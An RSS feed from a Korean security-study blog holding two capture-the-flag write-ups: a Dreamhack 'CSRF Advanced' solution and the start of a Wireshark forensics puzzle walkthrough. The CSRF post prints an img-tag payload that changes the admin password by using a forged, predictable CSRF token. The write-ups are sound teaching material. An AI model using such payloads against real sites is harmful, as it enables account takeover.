<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>보안</title>
    <link>https://s-security.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 24 May 2026 20:21:27 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>보안공부</managingEditor>
    <item>
      <title>Dreamhack - CSRF Advanced</title>
      <link>https://s-security.tistory.com/121</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - CSRF Advanced - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처62.JPG&quot; data-origin-width=&quot;1345&quot; data-origin-height=&quot;454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BXEmS/dJMcahQBWG6/masdQ1SxDtJU8HKRZNGYYK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BXEmS/dJMcahQBWG6/masdQ1SxDtJU8HKRZNGYYK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BXEmS/dJMcahQBWG6/masdQ1SxDtJU8HKRZNGYYK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBXEmS%2FdJMcahQBWG6%2FmasdQ1SxDtJU8HKRZNGYYK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1345&quot; height=&quot;454&quot; data-filename=&quot;캡처62.JPG&quot; data-origin-width=&quot;1345&quot; data-origin-height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같은 웹페이지가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처63.JPG&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;1177&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baEFlu/dJMcabJDAlW/gMIZpNCAjXZ39J9AkT3Te1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baEFlu/dJMcabJDAlW/gMIZpNCAjXZ39J9AkT3Te1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baEFlu/dJMcabJDAlW/gMIZpNCAjXZ39J9AkT3Te1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaEFlu%2FdJMcabJDAlW%2FgMIZpNCAjXZ39J9AkT3Te1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;786&quot; height=&quot;1177&quot; data-filename=&quot;캡처63.JPG&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;1177&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 문제 파일 다운로드를 통해 얻은 app.py를 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처64.JPG&quot; data-origin-width=&quot;1056&quot; data-origin-height=&quot;1198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXVOH6/dJMcagqCFvA/Rm6IFNS5ydKwkDYnbnC1zK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXVOH6/dJMcagqCFvA/Rm6IFNS5ydKwkDYnbnC1zK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXVOH6/dJMcagqCFvA/Rm6IFNS5ydKwkDYnbnC1zK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXVOH6%2FdJMcagqCFvA%2FRm6IFNS5ydKwkDYnbnC1zK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;1198&quot; data-filename=&quot;캡처64.JPG&quot; data-origin-width=&quot;1056&quot; data-origin-height=&quot;1198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index()를 보아, admin으로 로그인하면 플래그값을 볼 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vuln()를 보아, 대소문자 우회를 막는 필터링까지 하고 있는 것을 알 수 있다. 하지만 img 태그에 대한 필터링은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag()를 보아, good이 나와야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login()를 보아, 로그인에 성공하면 세션과 csrf 토큰이 주어질 것이다. 그런데 csrf 토큰이 일회성도 아니고, 어떻게 만들어지는지 쉽게 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;change_password()를 보아, csrf 토큰값과 바꾸려는 비밀번호를 같이 넣으면 admin의 비밀번호를 바꿀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처65.JPG&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;193&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBvm1z/dJMcajgxwQ5/kNsZgvw5sH0PyBz3ZPTq0k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBvm1z/dJMcajgxwQ5/kNsZgvw5sH0PyBz3ZPTq0k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBvm1z/dJMcajgxwQ5/kNsZgvw5sH0PyBz3ZPTq0k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBvm1z%2FdJMcajgxwQ5%2FkNsZgvw5sH0PyBz3ZPTq0k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;193&quot; data-filename=&quot;캡처65.JPG&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;193&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 login()에서 확인한 코드를 바탕으로 위와 같이 파이썬 코드를 짜고 test.py로 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 username은 admin으로 하고, remote_addr은 앞서 read_url()에서 확인한 서버의 로컬 ip 주소를 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 test.py를 실행하면 csrf 토큰이 출력되는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처66.JPG&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CUj8W/dJMcabiyNVw/rEk2laPsFKOBQ49naP1XgK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CUj8W/dJMcabiyNVw/rEk2laPsFKOBQ49naP1XgK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CUj8W/dJMcabiyNVw/rEk2laPsFKOBQ49naP1XgK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCUj8W%2FdJMcabiyNVw%2FrEk2laPsFKOBQ49naP1XgK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;292&quot; data-filename=&quot;캡처66.JPG&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 flag 페이지로 이동 후, 비밀번호를 123으로(아무거나) 변경하기 위해 아래와 같이 img 태그로 작성하고 제출 버튼을 누른다.&lt;/p&gt;
&lt;pre id=&quot;code_1767310085417&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;/change_password?pw=123&amp;amp;csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처67.JPG&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1mwHn/dJMcagxn8Fl/pDn8iRRR1JKYZXS3wDx5wK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1mwHn/dJMcagxn8Fl/pDn8iRRR1JKYZXS3wDx5wK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1mwHn/dJMcagxn8Fl/pDn8iRRR1JKYZXS3wDx5wK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1mwHn%2FdJMcagxn8Fl%2FpDn8iRRR1JKYZXS3wDx5wK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;130&quot; data-filename=&quot;캡처67.JPG&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 good이 뜬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처68.JPG&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;568&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GlMrf/dJMcacuZXTr/lbBTnjrdn9fwcgcoeZCBtk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GlMrf/dJMcacuZXTr/lbBTnjrdn9fwcgcoeZCBtk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GlMrf/dJMcacuZXTr/lbBTnjrdn9fwcgcoeZCBtk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGlMrf%2FdJMcacuZXTr%2FlbBTnjrdn9fwcgcoeZCBtk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1470&quot; height=&quot;568&quot; data-filename=&quot;캡처68.JPG&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 login 페이지로 와서 username에 admin, password에 123을 입력 후 로그인 버튼을 누른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처69.JPG&quot; data-origin-width=&quot;1314&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ycO77/dJMcaacSoqS/zzK4TGsw8Me0BzJsh9FLyk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ycO77/dJMcaacSoqS/zzK4TGsw8Me0BzJsh9FLyk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ycO77/dJMcaacSoqS/zzK4TGsw8Me0BzJsh9FLyk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FycO77%2FdJMcaacSoqS%2FzzK4TGsw8Me0BzJsh9FLyk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1314&quot; height=&quot;384&quot; data-filename=&quot;캡처69.JPG&quot; data-origin-width=&quot;1314&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin으로 로그인에 성공했고, 플래그값을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>webhacking</category>
      <category>드림핵</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>워게임</category>
      <category>워게임문제</category>
      <category>워게임풀이</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/121</guid>
      <comments>https://s-security.tistory.com/121#entry121comment</comments>
      <pubDate>Fri, 2 Jan 2026 08:31:26 +0900</pubDate>
    </item>
    <item>
      <title>Network Forensics Puzzle contest - Puzzle #1: Ann's Bad AIM</title>
      <link>https://s-security.tistory.com/120</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Puzzle #1: Ann's Bad AIM - forensics]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고전적인 네트워크포렌식 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1767161563666&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Puzzle #1: Ann&amp;rsquo;s Bad AIM &amp;ndash; Network Forensics Puzzle Contest&quot; data-og-description=&quot;Anarchy-R-Us, Inc. suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company&amp;rsquo;s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company&quot; data-og-host=&quot;forensicscontest.com&quot; data-og-source-url=&quot;https://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim&quot; data-og-url=&quot;https://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Puzzle #1: Ann&amp;rsquo;s Bad AIM &amp;ndash; Network Forensics Puzzle Contest&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Anarchy-R-Us, Inc. suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company&amp;rsquo;s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;forensicscontest.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 위 링크 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알아내야 하는 6가지는 아래와 같다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;IM 친구 이름&lt;/li&gt;
&lt;li&gt;첫 번째 코멘트&lt;/li&gt;
&lt;li&gt;전송한 파일 이름&lt;/li&gt;
&lt;li&gt;파일 시그니처(처음 4바이트)&lt;/li&gt;
&lt;li&gt;파일의 MD5 해시값&lt;/li&gt;
&lt;li&gt;파일에 적혀있는 비법&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 읽어보니 AIM 이라는 걸 이용해서 풀어야 하는 것 같은데, 뭔지 몰라서 일단 검색부터 해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://wiki.wireshark.org/AIM&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://wiki.wireshark.org/AIM&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1767161803246&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;AIM - Wireshark Wiki&quot; data-og-description=&quot;AOL Instant Messenger (AIM) XXX - add a brief AIM description here History XXX - add a brief description of AIM history Protocol dependencies TCP: Typically, AIM uses TCP as its transport protocol. The well known TCP port for AIM traffic is 5190. Example t&quot; data-og-host=&quot;wiki.wireshark.org&quot; data-og-source-url=&quot;https://wiki.wireshark.org/AIM&quot; data-og-url=&quot;https://wiki.wireshark.org/AIM&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://wiki.wireshark.org/AIM&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://wiki.wireshark.org/AIM&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;AIM - Wireshark Wiki&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;AOL Instant Messenger (AIM) XXX - add a brief AIM description here History XXX - add a brief description of AIM history Protocol dependencies TCP: Typically, AIM uses TCP as its transport protocol. The well known TCP port for AIM traffic is 5190. Example t&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;wiki.wireshark.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AIM에 대해 알아보니, AIM은 AOL Instant Messenger의 약자로, 예전에 유행했던 1세대 메신저 프로그램 중 하나라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 위 Wireshark Wiki에서 언급하는 AIM은 이 메신저가 데이터를 주고 받을 때 사용하는 프로토콜을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로, 보통 TCP 5190번 포트를 사용한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처56.JPG&quot; data-origin-width=&quot;1983&quot; data-origin-height=&quot;1039&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UMURP/dJMcadgjL7Q/tD3ay7ejDZ31MF6tjtFyiK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UMURP/dJMcadgjL7Q/tD3ay7ejDZ31MF6tjtFyiK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UMURP/dJMcadgjL7Q/tD3ay7ejDZ31MF6tjtFyiK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUMURP%2FdJMcadgjL7Q%2FtD3ay7ejDZ31MF6tjtFyiK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1983&quot; height=&quot;1039&quot; data-filename=&quot;캡처56.JPG&quot; data-origin-width=&quot;1983&quot; data-origin-height=&quot;1039&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 Wireshark에서 ip.addr==192.168.1.158 이걸로 검색해서 패킷 분석을 시작할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패킷을 우클릭해서 TCP 스트림 따라가기를 누른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처57.JPG&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;1147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/64hS1/dJMcadgjL77/Ge77BE8YdckVaqHvdr0tV0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/64hS1/dJMcadgjL77/Ge77BE8YdckVaqHvdr0tV0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/64hS1/dJMcadgjL77/Ge77BE8YdckVaqHvdr0tV0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F64hS1%2FdJMcadgjL77%2FGe77BE8YdckVaqHvdr0tV0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;1147&quot; data-filename=&quot;캡처57.JPG&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;1147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 바로 1, 2, 3번에 해당하는 답을 알아낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
